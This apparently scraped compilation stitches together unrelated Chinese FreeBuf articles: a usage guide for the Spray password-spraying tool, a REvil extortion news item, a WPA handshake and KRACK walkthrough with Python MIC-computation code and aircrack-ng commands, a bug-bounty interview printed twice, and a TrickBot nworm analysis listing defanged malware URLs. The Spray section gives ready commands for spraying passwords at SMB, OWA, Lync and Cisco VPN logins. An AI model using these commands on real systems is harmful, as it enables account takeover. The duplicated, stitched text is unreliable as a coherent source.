Spray是一款能够从活动目录凭证中提取密码的强大工具,该工具目前由Jacob Wilkin(Greenwolf)负责开发和维护。工具依赖

目前,Spray工具所有的依赖组建都已经默认在Kali Linux系统中预安装好了,如果你想要在macOS或其他系统上使用Spray的话,可以使用apt-get或brew来安装curl和rpcclient(smb):

rpcclient

curl

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/Greenwolf/Spray.git

工具使用

这个脚本将能够在一段时间内把活动目录凭证中的密码喷射到目标中,这里要求使用密码策略作为输入参数,这样才能保证账号不被锁定。

除了脚本代码之外,Spray还提供了大量定制化的的多语言密码文件,这些密码是由各种语言中最常见的活动目录密码组合精心编制而成,并且都符合一个大写字母、一个小写字母和一个数字这样的复杂密码组合类别。

SMB

如果需要针对SMB作为目标来进行密码喷射,则必须要提供用户列表、密码列表、在锁定周期内的每次尝试次数、锁定周期长度以及域名信息:

Useage: spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>

Example: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS

Optionally Skip Username%Username Spray: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS skipuu

OWA

如需针对OWA作为目标来进行密码喷射,则必须创建一个包含了POST请求信息的文件,其中需要写入Username: [email protected]以及Password: spraypassword:

Useage: spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>

Example: spray.sh -owa 192.168.0.1 users.txt passwords.txt 1 35 post-request.txt

Lync

如需针对一个lync服务作为目标来进行密码喷射,则必须提供lync自动发现URL或能够返回www认证Header的URL,同时还需携带一个电子邮件地址列表:

Useage: spray.sh -lync <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>

Example: spray.sh -lync https://lyncdiscover.spiderlabs.com/ users.txt passwords.txt 1 35

Example: spray.sh -lync https://lyncweb.spiderlabs.com/Autodiscover/AutodiscoverService.svc/root/oauth/user users.txt passwords.txt 1 35

思科Web VPN

如果需要针对思科Web VPN服务作为目标来进行密码喷射,则需要提供目标端口以及目标服务托管的端口信息:

Useage: spray.sh -cisco <targetURL> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>

Example: spray.sh -ciso 192.168.0.1 usernames.txt passwords.txt 1 35

密码列表更新

我们可以根据当前年份来更新我们的密码列表,比如说(2016/2017):

Useage: spray.sh -passupdate <passwordList>

Example: spray.sh -passupdate passwords.txt

当然了,我们还可以将目标企业或组织名称作为可选参数添加至密码列表中:

Useage: spray.sh -passupdate <passwordList> <CompanyName>

Example: spray.sh -passupdate passwords.txt Spiderlabs

用户名生成

我们还可以根据一系列常用名称来生成我们的用户名列表:

Useage: spray.sh -genusers <firstnames> <lastnames> "<<fi><li><fn><ln>>"

Example: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fi><ln>"

Example: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fn>.<ln>"

许可证协议

Spray项目的开发和发布遵循GNU General Public开源许可证协议。

项目地址

Spray:【GitHub传送门

参考来源

Greenwolf

* FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

今年明星们因疫情原因在家隔离,只能通过网络来保持联系、处理事务。体育赛事也是,相信在NBA历史上如此漫长的停赛期也是前所未有的。

好在19-20赛季的NBA比赛将在7月底正式重启,而以詹姆斯为首的NBA球星们,也已经在为复赛做准备了。

本来NBA重启之事已成定局,老詹可以松一口气了,接下来,他能全身心为第四冠而努力了,但在不久之前,詹姆斯遇到了非常棘手的事情,他被美国的黑客组织威胁了。88F7F75702EDD5F6144F94A790B188E60BCE8124_size47_w720_h480.jpeg

北京时间6月29日,根据TMZ报道,一个名叫REVIL的黑客组织发布消息,称其近期准备拍卖关于勒布朗-詹姆斯、美国说唱巨星“麻辣鸡”妮琪-米娜以及著名女歌手玛利亚-凯莉的等人的个人信息,起拍价为每人60万美元(约合人民币425万元)。这样的特殊情况,也给了一群黑客钻空子的机会。

黑客组织放出话来,目的不言而喻,可能就是为了进行勒索,所以对于詹姆斯等巨星来说,如果处理不当的话,可能比较私密的事情就会被曝光了。 

据悉,该黑客组织曾攻击过著名的律师艾伦格鲁曼,而且向他勒索4200万美金,不过艾伦格鲁曼拒绝了该黑客组织的要求。现在就看詹姆斯等人会如何做了,其实最妥善的办法就是报警,毕竟该黑客组织的行为是违法的,如果老詹等人轻易妥协的话,可能还会有下一次。8rm80bdcp517x7s.jpg

詹姆斯从2003年进入NBA联盟,已经赚得4.2亿美元的薪水,不过相比工资来说,老詹的代言收入更加可观。詹姆斯在大家的心里,一直是好男人的形象,所以一些知名品牌,非常热衷于和老詹合作,詹姆斯目前已经靠代言收入赚得17.5亿美元,其中就包括和耐克签下的终身合同,价值大概是10亿美元左右。

詹姆斯目前的身价也达到了22.1亿美元,即便还没有退役,也超过了科比,奥尼尔等一众超级巨星,在NBA历史上,老詹的吸金能力可能仅次于乔丹。而且詹姆斯还是英超球队利物浦的小股东,也算是球队的老板了,他已经是在多个领域取得成功的超级球星了。

名气越大,就越受人关注,而此次黑客组织将威胁的目标锁定在詹姆斯身上,对于詹姆斯而言,也算是遭遇了糟心的事情。不过詹姆斯是一位情商和智商双高的球员,希望老詹能尽快解决这个问题,不要影响他的争冠大计。

参考链接

http://k.sina.com.cn/article_6421819151_17ec52f0f00100o3hi.html

*本文作者:日影飞趣,转载请注明来自FreeBuf.COM 

环境准备

在正式开始分析之前,先要准备一下软件和分析对象。

系统环境

本次使用的操作系统是Windows10 1909,部分需要Linux的使用虚拟机安装的Kali进行。

代码部分,解释器版本为Python 2.7。

数据包分析工具使用经典的Wireshark。

数据准备

由于不同的加密方法和参数对握手包的影响较大,因此分析对象使用了Wireshark官方给出的WPA数据包。

该数据包可以在https://wiki.wireshark.org/HowToDecrypt802.11页面上进行下载:

image-20200629105537200.png

手动捕获握手包

额外说明一下,如果想自己捕获设备的WPA握手包,则需要额外的软件,并将网卡置为Monitor Mode。下面简单介绍一下。

Windows平台:在Windows平台下想要捕获802.11管理帧,需要使用微软官方的软件Microsoft Network Monitor。它的安装和使用也相对比较方便,网上也有相当多的教程,如《windows下抓取802.11管理包》。有一点需要注意,该软件在“扫描设置(Scanning Options)”中开启Monitor Mode后,该窗口不能关闭,否则会退出:

20150905181951_10373.png

Linux平台:在Linux平台下,可以借助我们熟悉的aircrack-ng套件来设置网卡的Monitor Mode,并使用Wireshrak来获取和查看数据。此处以Kali为例,其他Linux系统可以自行安装相关套件。

设置监听模式的命令为:

root@kali:~# airmon-ng start wlan0

其中wlan0是网卡的名称。若出现以下情况:

root@kali:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

   PID Name
  1959 NetworkManager
  1989 wpa_supplicant

PHY Interface Driver Chipset

phy0 wlan0 rt2800usb Ralink Technology, Corp. RT2870/RT3070

(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)

说明网卡被占用,需要使用airmon-ng check kill命令来结束占用进程:

root@kali:~# airmon-ng check kill

Killing these processes:

   PID Name
  1989 wpa_supplicant

root@kali:~# airmon-ng start wlan0


PHY Interface Driver Chipset

phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT2870/RT3070

这里网卡名称会变成wlan0mon,需要注意。

但是,直接设置后抓包有时只能抓到部分,比如仅有AP侧的数据,设备端的数据包都丢失了,原因是未指定信道。此时需要使用airodump-ng工具查看目标AP的信道:

root@kali:~# airodump-ng wlan0mon

image-20200629141915808.png

上图中第一行所示的信息中,CH表示信道,我们想对该AP进行四次握手的捕获,则需要将网卡监听的信道固定为11:

root@kali:~# airmon-ng start wlan0mon 11


PHY Interface Driver Chipset

phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT2870/RT3070

(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]11)

看到命令行中最后一行括号里的提示,表示已经设置为固定监听信道11。

此时打开wireshark,选中网卡wlan0mon即可捕获。

WPA四次握手

在上一篇文章《Wi-Fi攻击方式简述》中,已经对WPA的握手过程进行过简单讲解,总结起来WPA的四次握手完成了:

1)Wi-Fi密码的验证

2)后续通信加密的密码的计算(注意这里是“计算”不是“传输”)

而在其握手过程中,会生成一些过程产物,如加密握手数据的密钥、完整性校验数据等。密钥计算的总览视图如下:

image-20200629154441387.png

四次握手的简单示意图:

686769-20161117152254170-216963418.png

接下来会逐步介绍每一步的计算过程。

握手前的准备:计算PMK

PMK(Pairwise Master Key) 是整个WPA认证过程中非常核心的一个密钥,是由Wi-Fi的SSIDPre-Shared-Key(即Wi-Fi密码)计算而来,其算法被称为Password-Based Key Derivation Function 2 (PBKDF2) ,是一种使用HMAC-SHA1,使用SSID作为盐值来进行哈希的一种算法。

image-20200629170801055.png

在默认的Python环境中,需要安装pbkdf2库来支持这种算法,可以使用pip install pbkdf2命令来安装 。

from pbkdf2 import PBKDF2

psk = "Induction"
ssid = "Coherer"
pmk = PBKDF2(psk, ssid, 4096).read(32)

image-20200629165810353.png

此外,可以利用Linux系统中的wpa_passphrase工具来计算PMK,其命令为:

pentest@DESKTOP-2AE07FJ:~$ wpa_passphrase Coherer Induction

image-20200629165935651.png

这里可以看出来,计算出来的值是一致的。

第一次握手:传递ANonce,STA计算PTK

在WPA的第一次握手时,由AP向STA发送ANonce

image-20200629170336475.png

在这个数据包中,除了 ANonce 以外,在头部包含了双方的MAC地址。此时STA本地生成SNonce,满足了PTK计算的全部条件,因此进行PTK的计算

image-20200629171145032.png

由于SNonce在第二次握手的数据包中,因此这部分计算的演示在下一节进行。

第二次握手:传递SNonce,AP计算PTK

第二次握手时,STA向AP发送SNonce:

image-20200629171638896.png

PTK(Pairwise Transient Key)的计算需要使用PRF512算法,其实现是参照《Understanding WPA/WPA2 Hash (MIC) Cracking Process In Python》文章中给出的算法进行:

def customPRF512(key, A, B):
   blen = 64
   i = 0
   R = ''
   while i <= ((blen * 8 + 159) / 160):
       hmacsha1 = hmac.new(key, A + chr(0x00) + B + chr(i), hashlib.sha1)
       i += 1
       R = R + hmacsha1.digest()
   return R[:blen]

从前两次握手包中提取的ANonceSNonce 以及双方的MAC地址,拼接起来作为计算PTK的部分:

mac_ap = binascii.unhexlify("000c4182b255")
mac_cl = binascii.unhexlify("000d9382363a")
anonce = binascii.unhexlify("3e8e967dacd960324cac5b6aa721235bf57b949771c867989f49d04ed47c6933")
snonce = binascii.unhexlify("cdf405ceb9d889ef3dec42609828fae546b7add7baecbb1a394eac5214b1d386")
key_data = min(mac_ap, mac_cl) + max(mac_ap, mac_cl) + min(anonce,snonce) + max(anonce,snonce)

PRF512需要3个参数,PMKPKE 和上面计算出来的 key_data。其中PKE是一个固定字符串,PMK在前文中有过计算:

pke = "Pairwise key expansion"
pmk = PBKDF2("Induction", "Coherer", 4096).read(32)
ptk = customPRF512(pmk, pke, key_data)
# 此处ptk的值(Hex String)为:b1cd792716762903f723424cd7d1651182a644133bfa4e0b75d96d230835843315798d511beae0028313c8ab32f12c7ecb71c893482669daaf0e9223fe1c0aed

到这里,AP和STA各自都计算出了PTK(正常情况下双方算出的PTK内容是一致的)。

PTK的构成

上一步骤中,计算出来的PTK是一个512bit的字符串(64字节),这是由于我们下载的Wireshark官方提供的样例包中的WPA采用的是TKIP加密,如果是CCMP加密,这里的算法会有所区别,因为计算出的PTK应当为384bit。

此处以TKIP加密为例,512bit的字符串可以分割为3个部分:KCK、KEK 和 TK。

image-20200629191743423.png

KCK (Key Confirmation Key):用于计算WPA EAPOL密钥消息的MIC(完整性验证)

KEK (Key Encryption Key):用于加密发送到客户端的附加数据(在“密钥数据”字段中)

TK (Temporal Key):用于后续通信数据加密

TKIP加密模式下,PTK共512bit,其中按顺序为:KCK(128bit),KEK(128bit),TK(256bit)

CCMP加密模式下,PTK共384bit,其中按顺序为:KCK(128bit),KEK(128bit),TK(128bit)

image-20200630095341818.png

如上节中计算的PTK,按照长度划分,应为:

KCK = b1cd792716762903f723424cd7d16511

KEK = 82a644133bfa4e0b75d96d2308358433

TK = 15798d511beae0028313c8ab32f12c7ecb71c893482669daaf0e9223fe1c0aed

验证MIC

比较第一次和第二次握手,在数据包中会发现在WPA Key MIC字段中由原来的全0变成了一串字符:

image-20200629202936492.png

MIC (Message Integrity Code):消息完整性代码 是校验数据是否被篡改,以及PSK是否正确(因为MIC是由PTK参与计算,PTK由是由PSK生成)。

image-20200630100306995.png

MIC的计算是以KCK为密钥(Key),整个802.1X报文为消息体(Message)进行HMAC运算得出的结果,共128bit。

顺便一提,WPA的密码离线破解也是利用PSK生成PMK,并根据握手包计算KCK,再生成MIC并对比原数据包中的MIC来确定密码是否正确。

在我们手工验证的时候,需要先将整个报文(这里以第二次握手为例)提取出来,并找到WPA Key MIC字段,将这部分内容替换成0,再计算。

image-20200630101214680.png

这部分代码如下:

payload = binascii.unhexlify("0203007502010a00100000000000000000cdf405ceb9d889ef3dec42609828fae546b7add7baecbb1a394eac5214b1d386000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000")
mic = hmac.new(ptk[0:16], payload, hashlib.sha1).hexdigest()[:32]

至此,大部分的计算和校验任务已经结束。

第三次握手:传递加密的GTK,STA安装TK

第三次握手,由AP向STA发送数据,其中MIC部分与上面的计算方式一致。STA接收到数据后,验证MIC通过则说明AP是有效的,双方PMK是一致的。

同时,在这个数据包中,包含了加密后的GTK。GTK (Group Temporal Key) 用于加密广播和多播数据。GTK加密的密钥为KEK,其解密和使用不在此详述。

当STA接收到第三次握手包并验证MIC通过后,会将计算出来的TK(PTK的最后一段)安装到系统中,作为后续的通信加密密钥。

第四次握手:AP安装TK

最后一次握手仅为STA向AP发送的确认信息,表示密钥已经安装完毕,此时AP端也会进行密钥安装,至此,双方的密钥安装全部结束,后续通信中按照前面步骤中的密钥进行通信。

密钥重装攻击 KRACK Attack

上文中简单梳理了一下WPA四次握手的过程,其中省略了一些部分。由于主要是想帮助对KRACK漏洞的理解,因此重点放在第三次握手的密钥安装部分,安装的密钥来源上。

原理

关于这一漏洞,感兴趣的可以参考《WPA2 密钥重装攻击 KRACK Attacks 分析报告》,个人感觉这篇文章解释的比较详细,总结起来这个漏洞就是:

其中,wpa_supplicant 2.4及2.5版本实现了协议注释内容“一旦安装后,就可从内存中清除加密密钥”,将导致客户端会安装值全为零的秘钥。因此使用了这些wpa_supplicant版本的Linux及Android设备将遭受严重威胁。

这个漏洞是利用wpa_supplicant在第三次握手时对TK的处理来达到攻击的目的的。由于TK是根据第一次和第二次握手包中的数据生成,因此STA会将该密钥保存在本地的内存中。当收到第三次握手的数据包时,STA会将该密钥安装,并从内存中清除(“一旦安装后,就可从内存中清除加密密钥”),因此再次收到该握手包时,程序会再次加载这部分已被清零的内存,导致重新安装的密钥为全0。

利用

由于目前未找到直接的利用EXP/POC,在Github上有一个检测工具:https://github.com/vanhoefm/krackattacks-scripts,其官网 https://www.krackattacks.com 上有对这个漏洞的演示。

从原理和演示来看,KRACK漏洞需要搭建Rogue AP做中间人,转发握手数据帧。当发送第三次握手包时,进行重放。

由于多次接收到第三次握手包,STA会尝试安装全0的密钥,并使用密钥加密后续通信包。Rogue AP的通信密钥预先就被置为0,这样就可以正常的和STA通信。

目前没有时间来实践这个漏洞,仅从原理上对漏洞的利用方式进行分析,该漏洞更像是传统的Evil Twin的攻击方法,但Evil Twin需要知道目标AP的密码,才能让用户的设备顺利连入;而借助KRACK Attack,攻击者无需知道目标AP的密码即可实现中间人攻击,监听受害者流量。

总结

WPA的四次握手中,前两次是在互相交换计算PTK的信息(ANonce、SNonce),AP验证STA身份(利用MIC)并各自计算出PTK;第三次握手STA验证了AP的身份,传输加密GTK,并将计算出的TK安装;第四次握手确认密钥安装完成。

附:完整的计算MIC的 Python 代码

from pbkdf2 import PBKDF2
import hmac, binascii, hmac, hashlib, sha

def customPRF512(key, A, B):
   blen = 64
   i = 0
   R = ''
   while i <= ((blen * 8 + 159) / 160):
       hmacsha1 = hmac.new(key, A + chr(0x00) + B + chr(i), sha)
       i += 1
       R = R + hmacsha1.digest()
   return R[:blen]

psk = "Induction"
ssid = "Coherer"
pmk = PBKDF2(psk, ssid, 4096).read(32)

mac_ap = binascii.unhexlify("000c4182b255")
mac_cl = binascii.unhexlify("000d9382363a")
anonce = binascii.unhexlify("3e8e967dacd960324cac5b6aa721235bf57b949771c867989f49d04ed47c6933")
snonce = binascii.unhexlify("cdf405ceb9d889ef3dec42609828fae546b7add7baecbb1a394eac5214b1d386")

key_data = min(mac_ap, mac_cl) + max(mac_ap, mac_cl) + min(anonce,snonce) + max(anonce,snonce)
pke = "Pairwise key expansion"
ptk = customPRF512(pmk, pke, key_data)

print "PTK Original:               ",ptk.encode('hex')
print "EAPOL-Key Confirm Key:       ",ptk[:16].encode('hex')
print "EAPOL-Key Encrypt Key:       ",ptk[16:32].encode('hex')
print "(TKIP|CCMP) Temporal Key:   ",ptk[32:].encode('hex')

payload = binascii.unhexlify("0203007502010a00100000000000000000cdf405ceb9d889ef3dec42609828fae546b7add7baecbb1a394eac5214b1d386000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000")

mic = hmac.new(ptk[0:16], payload, hashlib.sha1).hexdigest()[:32]
print "MIC (Message Integrity Code):",mic

参考链接

[1] WPA/RSN四次握手和PTK

[2] KEYS, KEYS, AND EVEN MORE KEYS!

[3] WPA/WPA2-PSK认证过程

[4] 四次握手

[5] 安全协议系列(二)—-CCM与CCMP

[6] https://www.krackattacks.com/

[7] https://github.com/vanhoefm/krackattacks-scripts

[8] 国内研究人员首次Wifi重大漏洞利用实现 | Krack攻击测试套件打包

[9] WPA2 密钥重装攻击 KRACK Attacks 分析报告

[10] Understanding WPA/WPA2 Hash (MIC) Cracking Process In Python

[11] HowToDecrypt802.11

人物介绍

Douglas Day(@the_arch_angel),2013年毕业于俄勒冈州立大学计算机系,先后入职JIVE、OPAL、New Relic等公司从事安全工作,现为Elastic高级安全工程师兼独立安全顾问,Web安全专家,熟悉身份验证绕过和权限提升机制,加密解密研究者。目前,Douglas Day在HackerOne平台的有效提交漏洞为145个,名列第69名。

观看视频

采访实录

“你当时是如何接触到安全技术的?”

这大概要说到,当时我在一家运营有漏洞众测项目的公司工作,我的部份日常工作就是负责分类处理白帽提交进来的漏洞报告,在干了几个月后,我从中也收获了一些心得体会,我就想着其实我也可以发现并提交漏洞啊。

“你以什么方式保持挖洞动力?”

好多公司都在持续运转,且会开设新的漏洞众测项目,所以从这个角度来说,可以发现的漏洞都会是不同的,至少我认为从中可以发现一些与众不同的漏洞类型。

“你认为实时黑客比赛对技能有所提高吗?” 

实时黑客比赛确实对我有了非常大的提高,因为这种现场比赛需要讲究一些团队配合和协调参与,所以这种团队测试活动,有时真的需要烧脑的临场发挥和多方的互相帮助配合。

“你的漏洞测试目标是什么?”  

希望今年能发现一个RCE漏洞,也即远程代码执行漏洞,我差不多快有一年半的时间没发现过RCE漏洞了,我想是时候该发现了。RCE漏洞可以说是漏洞众测中的极品漏洞,在一些安全新闻报道中也时常可见,它们非常受欢迎,且赏金价码非常之高,但具有一定的发现难度。因为我好久都没有发现过RCE漏洞了,所以这对我来说极具神秘感但又需细致耐心。

“你是怎么找到新工作的?”   

其实,我入职现在的公司,原因在于当时我参与了一个特殊的漏洞众测项目,并成为了该众测项目的第一名,当时项目里的白帽朋友和该项目的HackerOne平台主管就联名向现在的公司推荐了我,在此,我得感谢HackerOne平台,能让我有展示机会并找到新工作。

“用漏洞赏金购买过什么好物?”    

今年刚好用漏洞赏金买了一套房,非常非常感谢漏洞赏金,前后我差不多用了一年时间,不断挖洞不断存钱,总算实现了买房梦想,这对我来说是非常有成就感的事。

“第一次受邀参与实时测试比赛是什么感受?”    

我第一次收到实时测试比赛的邀请时是在健身房里,恰巧那天过得相当糟糕,我选择在健身房里运动发泄,之后我立刻就精神焕发了。当我看到手机上的邮件提醒之后,顿时充满力量,马上完成了剩下的力量练习,可以说立马就情绪高涨了。另外我认为参与实时比赛,是我漏洞众测的一个里程碑,至少它让我从业余爱好发现了自己真正能做的事情,也让我的社交接触面和职场生涯有了发展和起色。

“好的众测团队需要具备什么?”     

好的漏洞众测团队,尤其是实时测试比赛中的众测团队,需要具备的一个关键因素是:需要大家积极沟通,如通过Google Hangouts、Skype或Slack等方式及时反馈交流,当然这种异步测试方式还不够,有时还需要大家坐到一起,对某些难点问题或目标应用功能不断讨论斟酌,这样才能让团队脱颖而出。

“对新手白帽有什么建议?”    

我能想到的最好建议就是,可以先从一些小的不活跃的众测项目练手,尝试去找这些很少人关注且相对冷门的众测项目,因为其新推出的功能应用或是代码更新,可能还没人测试分析过,你就可以从中入手尽力去发现,慢慢从第一笔赏金开始累积声誉积分;如果获得内部测试邀请,就要抓住机会,深入研究认真对待,因为一些内部测试项目相对特别且竞争面较小。

“有值得感谢的人吗?”     

必须要感谢的是我的妻子和女儿,是他们的支持让我有耐心废寝忘食进行漏洞测试,尤其是在比赛之前特别特别耗费时间,但是我的妻子和女儿,非常对我有信心,而且总是不忘向别人吹嘘我。我妻子是一名高中老师,她有时在教授课程中,会拿我的例子,去给她的那些对未来职业迷茫的高中生作为榜样和启发,有一些学生向她倾诉,希望以后从事安全行业,然后我妻子就会告诉他们我的经历,分享我在旧金山和拉斯维加斯从事的工作,所以看到她用我的例子,去鼓励去激发年轻一代投身安全行业,让我非常具有价值认同感。

*本课程翻译自Youtube精选系列教程,喜欢的点一波关注(每周更新)!

* 本文视频编辑willhuang,由clouds 编译,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

人物介绍

Douglas Day(@the_arch_angel),2013年毕业于俄勒冈州立大学计算机系,先后入职JIVE、OPAL、New Relic等公司从事安全工作,现为Elastic高级安全工程师兼独立安全顾问,Web安全专家,熟悉身份验证绕过和权限提升机制,加密解密研究者。目前,Douglas Day在HackerOne平台的有效提交漏洞为145个,名列第69名。

观看视频

采访实录

“你当时是如何接触到安全技术的?”

这大概要说到,当时我在一家运营有漏洞众测项目的公司工作,我的部份日常工作就是负责分类处理白帽提交进来的漏洞报告,在干了几个月后,我从中也收获了一些心得体会,我就想着其实我也可以发现并提交漏洞啊。

“你以什么方式保持挖洞动力?”

好多公司都在持续运转,且会开设新的漏洞众测项目,所以从这个角度来说,可以发现的漏洞都会是不同的,至少我认为从中可以发现一些与众不同的漏洞类型。

“你认为实时黑客比赛对技能有所提高吗?” 

实时黑客比赛确实对我有了非常大的提高,因为这种现场比赛需要讲究一些团队配合和协调参与,所以这种团队测试活动,有时真的需要烧脑的临场发挥和多方的互相帮助配合。

“你的漏洞测试目标是什么?”  

希望今年能发现一个RCE漏洞,也即远程代码执行漏洞,我差不多快有一年半的时间没发现过RCE漏洞了,我想是时候该发现了。RCE漏洞可以说是漏洞众测中的极品漏洞,在一些安全新闻报道中也时常可见,它们非常受欢迎,且赏金价码非常之高,但具有一定的发现难度。因为我好久都没有发现过RCE漏洞了,所以这对我来说极具神秘感但又需细致耐心。

“你是怎么找到新工作的?”   

其实,我入职现在的公司,原因在于当时我参与了一个特殊的漏洞众测项目,并成为了该众测项目的第一名,当时项目里的白帽朋友和该项目的HackerOne平台主管就联名向现在的公司推荐了我,在此,我得感谢HackerOne平台,能让我有展示机会并找到新工作。

“用漏洞赏金购买过什么好物?”    

今年刚好用漏洞赏金买了一套房,非常非常感谢漏洞赏金,前后我差不多用了一年时间,不断挖洞不断存钱,总算实现了买房梦想,这对我来说是非常有成就感的事。

“第一次受邀参与实时测试比赛是什么感受?”    

我第一次收到实时测试比赛的邀请时是在健身房里,恰巧那天过得相当糟糕,我选择在健身房里运动发泄,之后我立刻就精神焕发了。当我看到手机上的邮件提醒之后,顿时充满力量,马上完成了剩下的力量练习,可以说立马就情绪高涨了。另外我认为参与实时比赛,是我漏洞众测的一个里程碑,至少它让我从业余爱好发现了自己真正能做的事情,也让我的社交接触面和职场生涯有了发展和起色。

“好的众测团队需要具备什么?”     

好的漏洞众测团队,尤其是实时测试比赛中的众测团队,需要具备的一个关键因素是:需要大家积极沟通,如通过Google Hangouts、Skype或Slack等方式及时反馈交流,当然这种异步测试方式还不够,有时还需要大家坐到一起,对某些难点问题或目标应用功能不断讨论斟酌,这样才能让团队脱颖而出。

“对新手白帽有什么建议?”    

我能想到的最好建议就是,可以先从一些小的不活跃的众测项目练手,尝试去找这些很少人关注且相对冷门的众测项目,因为其新推出的功能应用或是代码更新,可能还没人测试分析过,你就可以从中入手尽力去发现,慢慢从第一笔赏金开始累积声誉积分;如果获得内部测试邀请,就要抓住机会,深入研究认真对待,因为一些内部测试项目相对特别且竞争面较小。

“有值得感谢的人吗?”     

必须要感谢的是我的妻子和女儿,是他们的支持让我有耐心废寝忘食进行漏洞测试,尤其是在比赛之前特别特别耗费时间,但是我的妻子和女儿,非常对我有信心,而且总是不忘向别人吹嘘我。我妻子是一名高中老师,她有时在教授课程中,会拿我的例子,去给她的那些对未来职业迷茫的高中生作为榜样和启发,有一些学生向她倾诉,希望以后从事安全行业,然后我妻子就会告诉他们我的经历,分享我在旧金山和拉斯维加斯从事的工作,所以看到她用我的例子,去鼓励去激发年轻一代投身安全行业,让我非常具有价值认同感。

*本课程翻译自Youtube精选系列教程,喜欢的点一波关注(每周更新)!

* 本文视频编辑willhuang,由clouds 编译,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

TrickBot于2016年被首次发现,其主要目的是窃取目标主机数据,安装恶意软件后门。TrickBot拥有不同的功能模块,可从受感染的Windows客户端传感染DC。在2020年4月,TrickBot将其传播模块“mworm”更新为“nworm”。nworm不会在DC上留下任何痕迹,服务器重新启动或关闭后会消失。

新nworm模块主要包括:

加密可执行文件和网络通信流量(旧mworm模块没有任何类型的加密/编码)

TrickBot感染从RAM运行,不可持久存在

通过RAM运行以逃避受感染DC的检测

本文回顾了TrickBot模块,并详细地介绍了新nworm模块的特性。

TrickBot模块

TrickBot可以模块化安装运行,感染期间可加载各种二进制文件执行不同功能。 在大多数情况下,TrickBot感染的基础是保存在磁盘的恶意Windows可执行文件(EXE)。 此EXE通常称为“ TrickBot加载程序”,可加载TrickBot模块。 TrickBot模块是从系统内存运行的动态链接库(DLL)或EXE。

在受感染的Windows 10主机上,TrickBo仅出现在系统内存中。在受感染的Windows 7主机上,在磁盘中会存储的相关模块。 在TrickBot感染期间,加密的二进制文件将作为TrickBot模块解密并从系统内存中运行。 下图显示了2020年1月Windows 7 TrickBot模块工件示例。

文件名称以64结尾,说明该主机运行的是Windows 7 64位版本。如果感染发生在32位Windows 7主机上,这些文件名称将以32而不是64结尾。

TrickBot在Active Directory(AD)环境中扩展到DC的三个模块:

mwormDll64(“ mworm”模块)

mshareDll64(“ mshare”模块)

tabDll64(“标签”模块)

传播模块

具有传播功能的TrickBot模块为mworm,mshare和tab,mshare和tab模块:

受感染的Windows客户端使用HTTP URL检索新的TrickBot EXE

受感染的Windows客户端通过SMB将新的TrickBot EXE发送到易受攻击的DC

对于mworm模块:

受感染的Windows客户端对易受攻击的DC进行SMB攻击。

易受攻击的DC使用HTTP URL检索新的TrickBot EXE并感染自身。

除非在带有DC的AD环境中发生TrickBot感染,否则通常不会显示mworm模块。

下图显示了这三个TrickBot模块的传播流程图:

自2020年2月以来,这些模块生成的URL遵循以下模式:

mshare模块以/images/cursor.png结尾

mworm模块以/images/redcar.png结尾

tab模块以/images/imgpaper.png结尾

这些URL使用IP地址而不是域。 下图显示了2020年3月TrickBot感染流量:

新模块分析

2020年4月TrickBot停止使用mworm模块,取而代之的是名为“nworm”的模块出现在受感染的Windows 7客户端上。下图显示了这种新的nworm模块:

nworm的HTTP流量与mworm流量明显不同:

mworm:TrickBot EXE的URL以/images/redcar.png结尾

nworm:TrickBot EXE的URL以/ico/VidT6cErs结尾

mworm:HTTP流量中TrickBot EXE未加密

nworm:TrickBot EXE会在HTTP流量中加密编码

使用Wireshark检查TCP流,可以发现mworm模块和nworm模块HTTP流差异。

下图显示了当前的传播流程,突出显示了nworm模块变化:

不持久性

nworm感染易受攻击的DC时,恶意软件将从内存中启动。受感染的DC上未发现任何攻击痕迹,但DC上的TrickBot重新后会消失。mshare和tab感染易受攻击的DC时,DC重启后仍然持续存在。对于TrickBot而言,重启后消失并不是急需解决的问题,因为DC是一台服务器,服务器很少像Windows客户端那样关闭或重新启动。

Gtag标识

每个TrickBot都有一个gtag标识符,可从TrickBot二进制文件配置数据中找到。在TrickBot感染期间,也可以在HTTP流量中找到Gtag。

Gtag是一个短字母字符串,后跟一个数字表示序列。示例如下:

mor系列gtag:由Emotet感染引起的TrickBot,例如:TrickBot gtag mor84是由Emotet在2020年1月27日感染的。

ono系列gtag:TrickBot通过恶意Microsoft Office文档(如Word文档或Excel电子表格)传播的。

red系列gtag:TrickBot以DLL文件而不是EXE的形式传播,例如:2020年3月17日记录的TrickBot gtag red5。

TrickBot模块使用的TrickBot二进制文件的Gtag是唯一的。

tot系列gtag:mshare模块使用的TrickBot二进制文件

jim系列gtag:nworm(和旧的mworm)模块使用的TrickBot二进制文件

lib系列gtag:tab模块使用的TrickBot二进制文件

下图显示了2020年4月20日Wireshark中的gtag。其中Windows客户端为10.4.20.101,DC为10.4.20.4。

IOCs

HTTP URLs

2020-04-20 – nworm – hxxp://107.172.221[.]106/ico/VidT6cErs

2020-04-20 – mshare – hxxp://107.172.221[.]106/images/cursor.png

2020-04-20 – tab – hxxp://107.172.221[.]106/images/imgpaper.png

